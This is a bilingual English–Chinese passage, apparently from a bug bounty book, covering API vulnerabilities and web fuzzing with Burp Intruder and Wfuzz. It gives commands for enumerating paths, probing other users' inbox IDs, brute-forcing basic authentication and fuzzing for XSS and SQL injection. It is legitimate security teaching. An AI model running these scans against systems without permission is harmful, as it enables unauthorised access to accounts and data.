我们这本书中所讨论的许多漏洞——例如SQL注入、反序列化问题、XXE、模板注入、SSRF和RCE等——都是由于输入验证不当引起的。有时候，开发人员会忘记为API实现适当的输入验证机制。

APIs are therefore susceptible to many of the other vulnerabilities that affect regular web applications too. Since APIs are another way applications accept user input, they become another way for attackers to smuggle malicious input into the application’s workflow.

因此，API也容易受到影响常规Web应用程序的许多其他漏洞的攻击。由于API是应用程序接受用户输入的另一种方式，因此它们成为攻击者将恶意输入走私到应用程序工作流程的另一种方式。

If an API endpoint can access external URLs, it might be vulnerable to SSRF, so you should check whether its access to internal URLs isn’t restricted. Race conditions can also happen within APIs. If you can use API endpoints to access application features affected by race conditions, these endpoints can become an alternative way to trigger the race condition.

如果API端点可以访问外部URL，则可能容易受到SSRF攻击，因此应检查其对内部URL的访问是否受限。在API中也可能会出现竞争条件。如果您可以使用API端点访问受竞争条件影响的应用程序功能，则这些端点可以成为触发竞争条件的替代方式。

Other vulnerabilities, like path traversal, file inclusion, insecure deserialization issues, XXE, and XSS can also happen. If an API endpoint returns internal resources via a filepath, attackers might use that endpoint to read sensitive files stored on the server. If an API endpoint used for file uploads doesn’t limit the data type that users can upload, attackers might upload malicious files, such as web shells or other malware, to the server. APIs also commonly accept user input in serialized formats such as XML. In this case, insecure deserialization or XXEs can happen. RCEs via file upload or XXEs are commonly seen in API endpoints. Finally, if an API’s URL parameters are reflected in the response, attackers can use that API endpoint to trigger reflected XSS on victims’ browsers.

其他漏洞，如路径遍历、文件包含、不安全的反序列化问题、XXE 和 XSS 也可能发生。 如果 API 端点通过文件路径返回内部资源，则攻击者可能利用该端点读取存储在服务器上的敏感文件。 如果用于文件上传的 API 端点不限制用户可以上传的数据类型，则攻击者可能上传恶意文件（如 Web Shell 或其他恶意软件）到服务器。 API 通常还接受以序列化格式（如 XML）的用户输入。 在这种情况下，可能会发生不安全的反序列化或 XXE。 RCE 通过文件上传或 XXE 常见于 API 端点。 最后，如果 API 的 URL 参数在响应中反映出来，攻击者可以利用该 API 端点在受害者的浏览器上触发反射型 XSS。其他漏洞包括，路径遍历、文件包含、不安全的反序化、XXE 和 XSS 可能会出现。当API 端点返回文件路径的内部资源时，攻击者可能会利用该端点读取存储在服务器上的敏感文件。如果用户在用于文件上传的API端点没有限制上传的数据类型，攻击者可能会上传恶意文件，例如Web Shell或其他恶意软件，到服务器。API还通常以序列化格式接受用户输入，如XML。在这种情况下，可能会发生不安全的反序列化或XXE。通过文件上传或XXE实现远程代码执行(RCE) 在API端点中很常见。最后，如果API的URL参数在响应中反映出来，攻击者可以利用该API端点，在受害者的浏览器上触发反射型XSS。

The process of testing for these issues will be similar to testing for them in a regular web app. You’ll simply supply the payloads to the application in API form.

测试这些问题的过程将与在常规Web应用程序中测试它们的过程类似。您只需以API形式向应用程序提供有效负载即可。

For example, for vulnerabilities like path traversals and file-inclusion attacks, look out for absolute and relative filepaths in API endpoints and try to mess with the path parameters. If an API endpoint accepts XML input, try to insert an XXE payload into the request. And if the endpoint’s URL parameters are reflected in the response, see if you can trigger a reflected XSS by placing a payload in the URL.

例如，对于路径遍历和文件包含攻击等漏洞，要注意API端点中的绝对路径和相对路径，并尝试对路径参数进行干扰。如果API端点接受XML输入，请尝试在请求中插入XXE有效载荷。如果端点的URL参数在响应中反映出来，请尝试将有效载荷放在URL中触发反射型XSS攻击。

You can also utilize fuzz-testing techniques, which we’ll discuss in Chapter 25 , to find these vulnerabilities.

你也可以利用第25章将会介绍的“模糊测试”技术来发现这些漏洞。

Applications are becoming increasingly reliant on APIs, even as APIs aren’t always as well protected as their web application counterparts. Pay attention to the APIs used by your targets, and you might find issues not present in the main application. If you are interested in learning more about hacking APIs and web applications in general, the OWASP Web Security Testing Guide ( https://github.com/OWASP/wstg/ ) is a great resource to learn from.

应用程序越来越依赖API，即使API并不总是像它们的Web应用程序对应物那样受到良好的保护。关注目标使用的API，您可能会发现主应用程序中不存在的问题。如果您对学习API和Web应用程序的黑客技术感兴趣，OWASP Web安全测试指南（https://github.com/OWASP/wstg/）是一个很好的学习资源。

25
Automatic Vulnerability Discovery Using Fuzzers

Whenever I approach a new target, I prefer to search for bugs manually. Manual testing is great for discovering new and unexpected attack vectors. It can also help you learn new security concepts in depth. But manual testing also takes a lot of time and effort, so as with automating reconnaissance, you should strive to automate at least part of the process of finding bugs. Automated testing can help you tease out a large number of bugs within a short time frame.

每当我接近一个新目标时，我更喜欢手动搜索漏洞。手动测试非常适用于发现新的和意想不到的攻击向量。它也可以帮助你深入学习新的安全概念。但手动测试也需要大量的时间和精力，所以与自动化侦察一样，你应该努力自动化至少部分查找漏洞的过程。自动化测试可以帮助你在短时间内找出大量的漏洞。

In fact, the best-performing bug bounty hunters automate most of their hacking process. They automate their recon, and write programs that constantly look for vulnerabilities on the targets of their choice. Whenever their tools notify them of a potential vulnerability, they immediately verify and report it.

实际上，表现最佳的赏金猎人会自动化他们的绝大部分黑客过程。他们自动化侦查，并编写程序，不断搜索他们选择的目标的漏洞。每当他们的工具通知他们存在潜在漏洞时，他们立即验证并报告。

Bugs discovered through an automation technique called fuzzing , or fuzz testing , now account for a majority of new CVE entries. While often associated with the development of binary exploits, fuzzing can also be used for discovering vulnerabilities in web applications. In this chapter, we’ll talk a bit about fuzzing web applications by using two tools, Burp intruder and Wfuzz, and about what it can help you achieve.

利用称为模糊测试或Fuzzing的自动化技术发现的漏洞现在占新CVE条目的大部分。虽然通常与开发二进制漏洞有关，但Fuzzing也可用于发现Web应用程序中的漏洞。在本章中，我们将介绍使用两个工具Burp Intruder和Wfuzz来对Web应用程序进行Fuzzing的相关知识，以及它可以帮助您实现什么。

What Is Fuzzing?

Fuzzing is the process of sending a wide range of invalid and unexpected data to an application and monitoring the application for exceptions. Sometimes hackers craft this invalid data for a specific purpose; other times, they generate it randomly or by using algorithms. In both cases, the goal is to induce unexpected behavior, like crashes, and then check if the error leads to an exploitable bug. Fuzzing is particularly useful for exposing bugs like memory leaks, control flow issues, and race conditions. For example, you can fuzz compiled binaries for vulnerabilities by using tools like the American Fuzzy Lop, or AFL ( https://github.com/google/AFL/ ).

模糊测试是通过向应用程序发送大量无效和意外的数据，并监视异常情况的过程。有时黑客会为特定目的创建此无效数据; 在其他情况下，他们会随机生成或使用算法生成它。在两种情况下，目标都是诱导意外行为，如崩溃，然后检查错误是否导致可利用的漏洞。模糊测试特别有用于暴露诸如内存泄漏，控制流问题和竞争条件等bug。例如，您可以使用类似美国Fuzzy Lop的工具（https://github.com/google/AFL/）对编译后的二进制文件进行漏洞扫描。

There are many kinds of fuzzing, each optimized for testing a specific type of issue in an application. Web application fuzzing is a technique that attempts to expose common web vulnerabilities, like injection issues, XSS, and authentication bypass.

有许多种模糊测试方法，每种方法都针对特定类型的应用问题进行了优化。Web 应用模糊测试是一种试图暴露常见 Web 漏洞的技术，例如注入问题、XSS 和认证绕过。

How a Web Fuzzer Works

Web fuzzers automatically generate malicious requests by inserting the payloads of common vulnerabilities into web application injection points. They then fire off these requests and keep track of the server’s responses.

Web模糊器通过将常见漏洞的有效载荷插入到Web应用程序的注入点中自动生成恶意请求。然后它们发送这些请求并跟踪服务器的响应。

To better understand this process, let’s take a look at how the open source web application fuzzer Wfuzz ( https://github.com/xmendez/wfuzz/ ) works. When provided with a wordlist and an endpoint, Wfuzz replaces all locations marked FUZZ with strings from the wordlist. For example, the following Wfuzz command will replace the instance of FUZZ inside the URL with every string in the common_paths.txt wordlist:

为了更好地理解这个过程，让我们来看看开源Web应用fuzzer Wfuzz（https://github.com/xmendez/wfuzz/）是如何工作的。当提供一个字典和一个端点时，Wfuzz会将所有标记为FUZZ的位置替换为来自字典的字符串。例如，下面的Wfuzz命令将使用common_paths.txt字典中的每个字符串来替换URL中的FUZZ实例：

$ wfuzz -w common_paths.txt http://example.com/FUZZ

You should provide a different wordlist for each type of vulnerability you scan for. For instance, you can make the fuzzer behave like a directory enumerator by supplying it with a wordlist of common filepaths. As a result, Wfuzz will generate requests that enumerate the paths on example.com :

你应该为每种漏洞扫描提供不同的字典。例如，你可以通过提供一个包含常见文件路径的字典，让模糊测试器变成目录枚举器。结果，Wfuzz将生成一个对example.com上路径进行枚举的请求：

http://example.com/admin
http://example.com/admin.php
http://example.com/cgi-bin
http://example.com/secure
http://example.com/authorize.php
http://example.com/cron.php
http://example.com/administrator

You can also make the fuzzer act like an IDOR scanner by providing it with potential ID values:

你还可以让模糊器像一个 IDOR 扫描器一样，通过提供潜在的 ID 值来进行扫描：

$ wfuzz -w ids.txt http://example.com/view_inbox?user_id=FUZZ

Say that ids.txt is a list of numeric IDs. If example.com/view_inbox is the endpoint used to access different users’ email inboxes, this command will cause Wfuzz to generate a series of requests that try to access other users’ inboxes, such as the following:

假设ids.txt是一个数字ID列表。如果example.com/view_inbox是用于访问不同用户电子邮箱收件箱的端点，那么此命令将导致Wfuzz生成一系列尝试访问其他用户收件箱的请求，如下所示：

http://example.com/view_inbox?user_id=1
http://example.com/view_inbox?user_id=2
http://example.com/view_inbox?user_id=3

Once you receive the server’s responses, you can analyze them to see if there really is a file in that particular path, or if you can access the email inbox of another user. As you can see, unlike vulnerability scanners, fuzzers are quite flexible in the vulnerabilities they test for. You can customize them to their fullest extent by specifying different payloads and injection points.

一旦你收到了服务器的响应，你可以分析它们，看看那个路径上是否真的有一个文件，或者你是否可以访问另一个用户的电子邮箱。正如你所看到的，与漏洞扫描器不同的是，模糊测试工具在它们测试的漏洞方面非常灵活。你可以通过指定不同的负载和注入点来最大程度地定制它们。

The Fuzzing Process

Now let’s go through the steps that you can take to integrate fuzzing into your hacking process! When you approach a target, how do you start fuzzing it? The process of fuzzing an application can be broken into four steps. You can start by determining the endpoints you can fuzz within an application. Then, decide on the payload list and start fuzzing. Finally, monitor the results of your fuzzer and look for anomalies.

现在让我们走过这些步骤，将模糊测试集成到您的黑客过程中！当您接近一个目标时，您如何开始进行模糊测试？模糊测试应用程序的过程可以分为四个步骤。您可以首先确定可以在应用程序中进行模糊测试的端点。然后，决定有效数据列表并开始模糊测试。最后，监视您的模糊测试器的结果并寻找异常情况。

Step 1: Determine the Data Injection Points

The first thing to do when fuzzing a web application is to identify the ways a user can provide input to the application. What are the endpoints that take user input? What are the parameters used? What headers does the application use? You can think of these parameters and headers as data injection points or data entry points , since these are the locations at which an attacker can inject data into an application.

模糊测试Web应用程序的第一步是识别用户可以提供输入的方式。哪些端点需要用户输入？使用了哪些参数？应用程序使用了哪些标头？您可以将这些参数和标头视为数据注入点或数据输入点，因为这些是攻击者可以向应用程序注入数据的位置。

By now, you should already have an intuition of which vulnerabilities you should look for on various user input opportunities. For example, when you see a numeric ID, you should test for IDOR, and when you see a search bar, you should test for reflected XSS. Classify the data injection points you’ve found on the target according to the vulnerabilities they are prone to:

现在，您应该已经有了哪些漏洞应该在各种用户输入机会上寻找的直觉。例如，当您看到数字ID时，您应该测试IDOR，当您看到搜索栏时，您应该测试反射型XSS。根据它们容易受到的漏洞，对您在目标上找到的数据注入点进行分类：

Data entry points to test for IDORs

数据输入点用于测试IDORs。

GET /email_inbox?user_id=FUZZ
Host: example.com

POST /delete_user
Host: example.com

(POST request parameter)
user_id=FUZZ

Data entry points to test for XSS

数据输入点以测试XSS

GET /search?q=FUZZ
Host: example.com

POST /send_email
Host: example.com

(POST request parameter)
user_id=abc&title=FUZZ&body=FUZZ

Step 2: Decide on the Payload List

After you’ve identified the data injection points and the vulnerabilities that you might be able to exploit with each one, determine what data to feed to each injection point. You should fuzz each injection point with common payloads of the most likely vulnerabilities. Feeding XSS payloads and SQL injection payloads into most data entry points is also worthwhile.

在确定数据注入点和每个注入点可能利用的漏洞后，确定向每个注入点提供什么数据。您应该使用最可能的漏洞的常见有效载荷对每个注入点进行模糊测试。在大多数数据输入点中提供XSS有效载荷和SQL注入有效载荷也值得尝试。

Using a good payload list is essential to finding vulnerabilities with fuzzers. I recommend downloading SecLists by Daniel Miessler ( https://github.com/danielmiessler/SecLists/ ) and Big List of Naughty Strings by Max Woolf ( https://github.com/minimaxir/big-list-of-naughty-strings/ ) for a pretty comprehensive payload list useful for fuzzing web applications. Among other features, these lists include payloads for the most common web vulnerabilities, such as XXS, SQL injection, and XXE. Another good wordlist database for both enumeration and vulnerability fuzzing is FuzzDB ( https://github.com/fuzzdb-project/fuzzdb/ ).

使用有效的负载列表是使用模糊测试发现漏洞的关键。我建议下载Daniel Miessler的SecLists （https://github.com/danielmiessler/SecLists/）和Max Woolf的Naughty Strings大列表 （https://github.com/minimaxir/big-list-of-naughty-strings/）进行比较全面的负载列表，这对于模糊测试Web应用程序非常有用。除了其他功能外，这些列表还包括最常见的Web漏洞的负载，如XXS，SQL注入和XXE。另一个用于枚举和漏洞模糊测试的好字典数据库是FuzzDB（https://github.com/fuzzdb-project/fuzzdb/）。

Besides using known payloads, you might try generating payloads randomly. In particular, create extremely long payloads, payloads that contain odd characters of various encodings, and payloads that contain certain special characters, like the newline character, the line-feed character, and more. By feeding the application garbage data like this, you might be able to detect unexpected behavior and discover new classes of vulnerabilities!

除了使用已知的载荷，你可以尝试随机生成载荷。特别是，创建极长的载荷，载荷包含各种编码的奇怪字符和包含特定特殊字符，如换行符、Line Feed符等。通过像这样提供垃圾数据给应用程序，您可能能够检测到意外的行为并发现新的漏洞类别！

You can use bash scripts, which you learned about in Chapter 5 , to automate the generation of random payloads. How would you generate a string of a random length that includes specific special characters? Hint: you can use a for loop or the file /dev/random on Unix systems.

你可以使用在第五章学习的 Bash 脚本来自动化生成随机载荷。你怎样能够生成一个包含特定特殊字符的随机长度字符串？提示：你可以使用 for 循环或 Unix 系统上的 /dev/random 文件。

Step 3: Fuzz

Next, systematically feed your payload list to the data entry points of the application. There are several ways of doing this, depending on your needs and programming skills. The simplest way to automate fuzzing is to use the Burp intruder ( Figure 25-1 ). The intruder offers a fuzzer with a graphical user interface (GUI) that seamlessly integrates with your Burp proxy. Whenever you encounter a request you’d like to fuzz, you can right-click it and choose Send to Intruder .

接下来，按照系统化的方式，将有效负载列表输入到应用程序的数据录入点。根据您的需求和编程技能，有多种方法可供选择。自动化模糊测试最简单的方法是使用Burp接收器（图25-1）。该接收器提供了一个带有图形用户界面（GUI）的模糊测试器，可与您的Burp代理无缝集成。每当您遇到想要模糊的请求时，可以右键单击它并选择发送到接收器。

In the Intruder tab, you can configure your fuzzer settings, select your data injection points and payload list, and start fuzzing. To add a part of the request as a data injection point, highlight the portion of the request and click Add on the right side of the window.

在侵入者选项卡中，您可以配置您的 Fuzzer 设置，选择您的数据注入点和有效载荷列表，然后开始 Fuzzing。要将请求的一部分添加为数据注入点，请突出显示请求的部分，然后单击窗口右侧的添加按钮。

Figure 25-1 : The Burp intruder payload position selection

图25-1：Burp Intruder负载位置选择

Then either select a predefined list of payloads or generate payload lists in the Payloads tab ( Figure 25-2 ). For example, you could generate list of numbers or randomly generated alphanumeric strings.

然后在有效载荷选项卡（图25-2）中选择预定义的有效载荷列表或生成有效载荷列表。例如，您可以生成数字列表或随机生成的字母数字字符串。

Figure 25-2 : Selecting the payload list in Burp intruder

图25-2：在Burp Intruder中选择有效载荷列表。

Burp intruder is easy to use, but it has a downside: the free version of Burp limits the fuzzer’s functionality, and time-throttles its attacks, meaning that it slows your fuzzing and limits the number of requests you can send over a certain period of time. You’ll be able to send only a certain number of requests per minute, making the intruder a lot less efficient than a non-time-throttled fuzzer. Unless you need a GUI or have the professional version of Burp, you’re better off using an open source fuzzer like OWASP ZAP’s fuzzer or Wfuzz. You’ll learn how to fuzz a target with Wfuzz in “Fuzzing with Wfuzz” later on this page .

Burp Intruder易于使用，但它有一个缺点：Burp的免费版本限制了模糊测试器的功能，并通过限制时间来限制其攻击性，这意味着它会减慢您的模糊测试效率并限制您可以在一定时间内发送的请求数量。您每分钟只能发送一定数量的请求，使得Burp Intruder比非时间限制的模糊测试器更不有效率。除非您需要图形用户界面或拥有Burp的专业版本，否则最好使用开源模糊测试器，如OWASP ZAP的模糊测试器或Wfuzz。您将在本页“使用Wfuzz进行模糊测试”中学习如何使用Wfuzz进行模糊测试。

Note that sometimes throttling your fuzzers will be necessary to prevent disruption to the application’s operations. This shouldn’t be an issue for bigger companies, but you could accidentally launch a DoS attack on smaller companies without scaling architectures if you fuzz their applications without time throttling. Always use caution and obtain permission from the company when conducting fuzz testing!

请注意，有时候你需要限制你的fuzzers的速度，防止影响应用程序的运行。对于大型公司来说，这不应该是问题，但是如果你在没有时间限制的情况下对小型公司的应用程序进行fuzz测试，你可能会意外地发起DoS攻击。在进行fuzz测试时，始终要使用谨慎并获取公司的许可！

Step 4: Monitor the Results

Analyze the results your fuzzer returned, looking for patterns and anomalies in the server responses. What to look for depends on the payload set you used and the vulnerability you’re hoping to find. For example, when you’re using a fuzzer to find filepaths, status codes are a good indicator of whether a file is present. If the returned status code for a pathname is in the 200 range, you might have discovered a valid path. If the status code is 404, on the other hand, the filepath probably isn’t valid.

分析您的 fuzzer 返回的结果，查找服务器响应中的模式和异常。要查找什么取决于您使用的有效载荷集和要查找的漏洞。例如，当您使用 fuzzer 查找文件路径时，状态码是一个好的指标，可以判断文件是否存在。如果路径名的返回状态码在200范围内，可能发现了有效路径。另一方面，如果状态码为404，则该文件路径可能无效。

When fuzzing for SQL injection, you might want to look for a change in response content length or time. If the returned content for a certain payload is longer than that of other payloads, it might indicate that your payload was able to influence the database’s operation and change what it returned. On the other hand, if you’re using a payload list that induces time delays in an application, check whether any of the payloads make the server respond more slowly than average. Use the knowledge you learned in this book to identify key indicators that a vulnerability is present.

在进行 SQL 注入技术时，您可能需要关注响应内容长度或时间的变化。如果某个有效载荷的返回内容比其他有效载荷更长，那么它可能表明您的有效载荷已经影响了数据库的操作并改变其返回内容。另一方面，如果您使用的有效载荷列表会在应用程序中引入时间延迟，请检查是否有任何有效载荷使服务器的响应比平均响应更慢。利用本书的知识来识别存在漏洞的关键指标。

Fuzzing with Wfuzz

Now that you understand the general approach to take, let’s walk through a hands-on example using Wfuzz, which you can install by using this command:

现在您已经了解了通用的方法，让我们通过使用Wfuzz的实际示例来进一步讲解一下。您可以使用以下命令来安装它：

$ pip install wfuzz

Fuzzing is useful in both the recon phase and the hunting phase: you can use fuzzing to enumerate filepaths, brute-force authentication, test for common web vulnerabilities, and more.

模糊测试在侦查和打猎阶段都非常有用：您可以使用模糊测试枚举文件路径、暴力破解身份验证、测试常见的Web漏洞等。

Path Enumeration

During the recon stage, try using Wfuzz to enumerate filepaths on a server. Here’s a command you can use to enumerate filepaths on example.com :

在侦察阶段，可以尝试使用Wfuzz枚举服务器上的文件路径。以下是一个在example.com上枚举文件路径的命令示例：

$ wfuzz -w wordlist.txt -f output.txt --hc 404 --follow http://example.com/FUZZ

The -w flag option specifies the wordlist to use for enumeration. In this case, you should pick a good path enumeration wordlist designed for the technology used by your target. The -f flag specifies the output file location. Here, we store our results into a file named output.txt in the current directory. The --hc 404 option tells Wfuzz to exclude any response that has a 404 status code. Remember that this code stands for File Not Found. With this filter, we can easily drop URLs that don’t point to a valid file or directory from the results list. The --follow flag tells Wfuzz to follow all HTTP redirections so that our result shows the URL’s actual destination.

-w选项标志指定用于枚举的字典。在这种情况下，您应该选择一个针对目标使用技术设计的好的路径枚举字典。-f标志指定输出文件位置。在这里，我们将结果存储在当前目录下名为output.txt的文件中。--hc 404选项告诉Wfuzz排除任何具有404状态代码的响应。记住，这个代码代表“文件未找到”。通过这个过滤器，我们可以轻松地在结果列表中删除不指向有效文件或目录的URL。--follow标志告诉Wfuzz跟随所有HTTP重定向，以便我们的结果显示URL的实际目的地。

Let’s run the command using a simple wordlist to see what we can find on facebook.com . For our purposes, let’s use a wordlist comprising just four words, called wordlist.txt :

让我们使用简单的字词表运行命令，看看在facebook.com上能找到什么。为了我们的目的，让我们使用一个仅包含四个单词的字词表，名为wordlist.txt：

authorize.php
cron.php
administrator
secure

Run this command to enumerate paths on Facebook:

运行此命令以枚举 Facebook 上的路径：

$ wfuzz -w wordlist.txt -f output.txt --hc 404 --follow http://facebook.com/FUZZ

Let’s take a look at the results. From left to right, a Wfuzz report has the following columns for each request: Request ID, HTTP Response Code, Response Length in Lines, Response Length in Words, Response Length in Characters, and the Payload Used:

让我们来看看结果。从左到右，每个请求的Wfuzz报告具有以下列：请求ID、HTTP响应代码、响应行长度、响应字长度、响应字符长度以及使用的有效载荷：

********************************************************
* Wfuzz 2.4.6 - The Web Fuzzer                         *
********************************************************

Target: http://facebook.com/FUZZ
Total requests: 4

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000000004:   200        20 L     2904 W   227381 Ch   "secure"

Total time: 1.080132
Processed Requests: 4
Filtered Requests: 3
Requests/sec.: 3.703250

You can see that these results contain only one response. This is because we filtered out irrelevant results. Since we dropped all 404 responses, we can now focus on the URLs that point to actual paths. It looks like /secure returned a 200 OK status code and is a valid path on facebook.com .

你可以看到这些结果只包含一个响应。这是因为我们过滤掉了无关的结果。由于我们删除了所有的404响应，现在我们可以专注于指向实际路径的URL。看起来/secure返回了200 OK状态码并且是facebook.com上的有效路径。

Brute-Forcing Authentication

Once you’ve gathered valid filepaths on the target, you might find that some of the pages on the server are protected. Most of the time, these pages will have a 403 Forbidden response code. What can you do then?

一旦您在目标上收集到有效的文件路径，您可能会发现服务器上有些页面是受保护的。大多数情况下，这些页面将返回403禁止请求代码。那么您该怎么办呢？

Well, you could try to brute-force the authentication on the page. For example, sometimes pages use HTTP’s basic authentication scheme as access control. In this case, you can use Wfuzz to fuzz the authentication headers, using the -H flag to specify custom headers:

嗯，您可以尝试在页面上进行暴力身份验证。 例如，有时候页面使用HTTP的基本身份验证方案作为访问控制方式。在这种情况下，您可以使用Wfuzz来模糊身份验证头，使用-H标志指定自定义头：

$ wfuzz -w wordlist.txt -H "Authorization: Basic FUZZ" http://example.com/admin

The basic authentication scheme uses a header named Authorization to transfer credentials that are the base64-encoded strings of username and password pairs. For example, if your username and password were admin and password , your authentication string would be base64("admin:password") , or YWRtaW46cGFzc3dvcmQ= . You could generate authentication strings from common username and password pairs by using a script, then feed them to your target’s protected pages by using Wfuzz.

基本身份验证方案使用名为 Authorization 的头来传输凭据，这些凭据是用户名和密码对的 base64 编码字符串。例如，如果您的用户名和密码是 admin 和 password，您的认证字符串将是 base64（“admin：password”），即 YWRtaW46cGFzc3dvcmQ =。您可以使用脚本从常见的用户名和密码对中生成认证字符串，然后使用 Wfuzz 将其提供给目标保护页面。

Another way to brute-force basic authentication is to use Wfuzz’s --basic option. This option automatically constructs authentication strings to brute-force basic authentication, given an input list of usernames and passwords. In Wfuzz, you can mark different injection points with FUZZ , FUZ2Z , FUZ3Z , and so on. These injection points will be fuzzed with the first, second, and third wordlist passed in, respectively. Here’s a command you can use to fuzz the username and password field at the same time:

另一种暴力破解基本身份验证的方法是使用Wfuzz的--basic选项。该选项自动地构造身份验证字符串来暴力破解基本身份验证，给出用户名和密码的输入列表。在Wfuzz中，您可以用FUZZ，FUZ2Z，FUZ3Z等标记不同的注入点。这些注入点将分别通过第一个，第二个和第三个传递的字典进行模糊处理。下面是一个您可以同时模糊处理用户名和密码字段的命令：

$ wfuzz -w usernames.txt -w passwords.txt --basic FUZZ:FUZ2Z http://example.com/admin

The usernames.txt file contains two usernames: admin and administrator . The passwords.txt file contains three passwords: secret , pass , and password . As you can see, Wfuzz sends a request for each username and password combination from your lists:

"usernames.txt"文件包含两个用户名：admin和administrator。"passwords.txt"文件包含三个密码：secret、pass和password。正如您所看到的，Wfuzz会为您列表中的每个用户名和密码组合发送请求：

********************************************************
* Wfuzz 2.4.6 - The Web Fuzzer                         *
********************************************************

Target: http://example.com/admin
Total requests: 6

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000000002:   404        46 L     120 W    1256 Ch     "admin – pass"
000000001:   404        46 L     120 W    1256 Ch     "admin – secret"
000000003:   404        46 L     120 W    1256 Ch     "admin – password"
000000006:   404        46 L     120 W    1256 Ch     "administrator – password"
000000004:   404        46 L     120 W    1256 Ch     "administrator – secret"
000000005:   404        46 L     120 W    1256 Ch     "administrator – pass"

Total time: 0.153867
Processed Requests: 6
Filtered Requests: 0
Requests/sec.: 38.99447

Other ways to bypass authentication by using brute-forcing include switching out the User-Agent header or forging custom headers used for authentication. You could accomplish all of these by using Wfuzz to brute-force HTTP request headers.

使用暴力破解绕过身份验证的其他方法包括更改User-Agent头或伪造用于身份验证的自定义头。通过使用Wfuzz暴力破解HTTP请求头，您可以实现所有这些功能。

Testing for Common Web Vulnerabilities

Finally, Wfuzz can help you automatically test for common web vulnerabilities. First of all, you can use Wfuzz to fuzz URL parameters and test for vulnerabilities like IDOR and open redirects. Fuzz URL parameters by placing a FUZZ keyword in the URL. For example, if a site uses a numeric ID for chat messages, test various IDs by using this command:

最后，Wfuzz可以帮助你自动测试常见的Web漏洞。首先，你可以使用Wfuzz对URL参数进行FUZZ测试，测试漏洞如IDOR和开放式重定向。在URL中放置一个FUZZ关键字来Fuzz URL参数。例如，如果一个站点使用数字ID作为聊天消息，可以使用以下命令测试各种ID：

$ wfuzz -w wordlist.txt http://example.com/view_message?message_id=FUZZ

Then find valid IDs by examining the response codes or content length of the response and see if you can access the messages of others. The IDs that point to valid pages usually return a 200 response code or a longer web page.

然后，通过检查响应代码或响应内容长度来查找有效的 ID，并查看是否可以访问他人的消息。指向有效网页的 ID 通常返回 200 响应代码或更长的网页。

You can also insert payloads into redirect parameters to test for an open redirect:

你也可以将有效负载插入重定向参数中，以测试是否存在开放重定向：

$ wfuzz -w wordlist.txt http://example.com?redirect=FUZZ

To check if a payload causes a redirect, turn on Wfuzz’s follow ( --follow ) and verbose ( -v ) options. The follow option instructs Wfuzz to follow redirects. The verbose option shows more detailed results, including whether redirects occurred during the request. See if you can construct a payload that redirects users to your site:

要检查有效载荷是否导致重定向，请打开Wfuzz的跟随(--follow)和详细(-v)选项。跟随选项指示Wfuzz跟随重定向。详细选项显示更详细的结果，包括请求期间是否发生重定向。看看能否构造一个有效载荷，将用户重定向到您的站点：

$ wfuzz -w wordlist.txt -v –-follow http://example.com?redirect=FUZZ

Finally, test for vulnerabilities such as XSS and SQL injection by fuzzing URL parameters, POST parameters, or other user input locations with common payload lists.

最终，通过使用常见有效载荷列表对URL参数、POST参数或其他用户输入位置进行模糊测试，测试漏洞，如XSS和SQL注入。

When testing for XSS by using Wfuzz, try creating a list of scripts that redirect the user to your page, and then turn on the verbose option to monitor for any redirects. Alternatively, you can use Wfuzz content filters to check for XSS payloads reflected. The --filter flag lets you set a result filter. An especially useful filter is content~ STRING , which returns responses that contain whatever STRING is:

使用Wfuzz测试XSS时，请尝试创建重定向用户到您的页面的脚本列表，然后打开详细选项以监视任何重定向。或者，您可以使用Wfuzz内容过滤器来检查反射的XSS有效负载。 --filter标志允许您设置结果过滤器。一个尤其有用的过滤器是content〜STRING，它返回包含任何STRING的响应。

$ wfuzz -w xss.txt --filter "content~FUZZ" http://example.com/get_user?user_id=FUZZ

For SQL injection vulnerabilities, try using a premade SQL injection wordlist and monitor for anomalies in the response time, response code, or response length of each payload. If you use SQL injection payloads that include time delays, look for long response times. If most payloads return a certain response code but one does not, investigate that response further to see if there’s a SQL injection there. A longer response length might also be an indication that you were able to extract data from the database.

在处理SQL注入漏洞时，尝试使用预先制作的SQL注入词库，并监测每个有效载荷的响应时间、响应代码或响应长度的异常情况。如果您使用的SQL注入有效载荷包括时间延迟，请寻找长时间的响应时间。如果大多数有效载荷返回特定的响应代码，但是某一个不返回，请进一步调查该响应，以查看是否存在SQL注入漏洞。较长的响应长度还可能表明您能够从数据库中提取数据。

The following command tests for SQL injection using the wordlist sqli.txt . You can specify POST body data with the -d flag:

以下命令使用单词列表sqli.txt测试SQL注入。您可以使用-d标志指定POST正文数据：

$ wfuzz -w sqli.txt -d "user_id=FUZZ" http://example.com/get_user

More About Wfuzz

Wfuzz has many more advanced options, filters, and customizations that you can take advantage of. Used to its full potential, Wfuzz can automate the most tedious parts of your workflow and help you find more bugs. For more cool Wfuzz tricks, read its documentation at https://wfuzz.readthedocs.io/ .

Wfuzz拥有更多的高级选项、过滤器和自定义功能，您可以充分利用它们。充分利用Wfuzz，它可以自动化您工作流程中最繁琐的部分，并帮助您发现更多的漏洞。要了解更多酷炫的Wfuzz技巧，请阅读它在https://wfuzz.readthedocs.io/上的文档。

Fuzzing vs. Static Analysis

In Chapter 22 , I discussed the effectiveness of source code review for discovering web vulnerabilities. You might now be wondering: why not just perform a static analysis of the code? Why conduct fuzz testing at all?

在第22章中，我讨论了源代码审查发现Web漏洞的有效性。你现在可能会想：为什么不仅仅对代码执行静态分析？为什么还要进行模糊测试？

Static code analysis is an invaluable tool for identifying bugs and improper programming practices that attackers can exploit. However, static analysis has its limitations.

静态代码分析是识别漏洞和不当编程实践的宝贵工具，攻击者可以利用它们。然而，静态分析也有其局限性。

First, it evaluates an application in a non-live state. Performing code review on an application won’t let you simulate how the application will react when it’s running live and clients are interacting with it, and it’s very difficult to predict all the possible malicious inputs an attacker can provide.

首先，它评估应用程序的非实时状态。在应用程序进行代码审查时，您无法模拟应用程序在运行实时且客户正在与之交互时的反应，而且很难预测攻击者可以提供的所有可能的恶意输入。

Static code analysis also requires access to the application’s source code. When you’re doing a black-box test, as in a bug bounty scenario, you probably won’t be able to obtain the source code unless you can leak the application’s source code or identify the open source components the application is using. This makes fuzzing a great way of adding to your testing methodology, since you won’t need the source code to fuzz an application.

静态代码分析也需要获得应用程序的源代码。在黑盒测试中，例如在漏洞赏金情境下，你可能无法获得源代码，除非你可以泄露应用程序的源代码或确定应用程序正在使用的开源组件。这使得模糊测试成为您测试方法的重要手段之一，因为您不需要源代码就可以对应用程序进行模糊测试。

Pitfalls of Fuzzing

